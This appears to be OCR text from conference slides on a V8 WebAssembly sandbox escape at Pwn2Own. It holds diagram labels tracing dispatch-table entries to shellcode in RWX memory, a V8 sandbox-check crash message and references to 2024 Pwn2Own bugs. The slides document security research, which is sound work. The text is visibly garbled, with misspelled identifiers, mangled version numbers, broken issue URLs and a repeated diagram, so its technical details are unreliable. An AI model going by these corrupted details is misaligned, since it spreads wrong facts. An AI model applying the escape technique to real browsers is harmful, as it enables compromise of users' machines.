SharedFunctioninfo WasmExportedFunctionData WasmFuncRef

WasmlnstanceObject

Index =N

Trusted Ptr Table Index
WasmModuleObject
ExportsObject

v
TrustedPointer Table WasmDispatchTable RWX Space

! Tvoe + Poi ? (Jump_table_start + N) Shell Code
L
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IV Modern Sandbox Escape With Pwn20wn

05 Details (4)

Safely terminating process due to error in , line @
The following harmless error was encountered: Check failed: func_index < module->functions.size().

/] src/wasm/wasm—objects.cc
void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,

#FailureMessage Object: Bx7+fc9cbelb70 HandleWasm T ableObject> fable.

int enfry_index,
Handle<Object> entry) {

SBXCHECK LT (func_index, module=>functions.size()):
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05 Details (5)

V8 Sandbox

P
SharedFunctioninfo WasmExportedFunctionData WasmFuncRef

WasmlnstanceObject

Index =N

Trusted Ptr Table Index
WasmModuleObject?
ExportsObject

\
TrustedPointer Table WasmDispatchTable RWX Space

! Tvoe + Poi ? (Jump_table_start + N) Shell Code
L
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IV Modern Sandbox Escape With Pwn20wn

06 Reference

Reference

1. 2024 pwn2own / Manfred Paul

- V8 version 1 <12.5
— https://issues.chromium.org/issues/3305/75498
- https://www.zerodayinitiative.com/blog/2024/5/2/cve-2024-2887-a-pwn2own-winning—bug-in—google—chrome

2. 2024 pwn2own/ Edouard Bochin & Tao Yan

—V8 version:112.5.227.9
— https://issuetracker.google.com/issues/343407073
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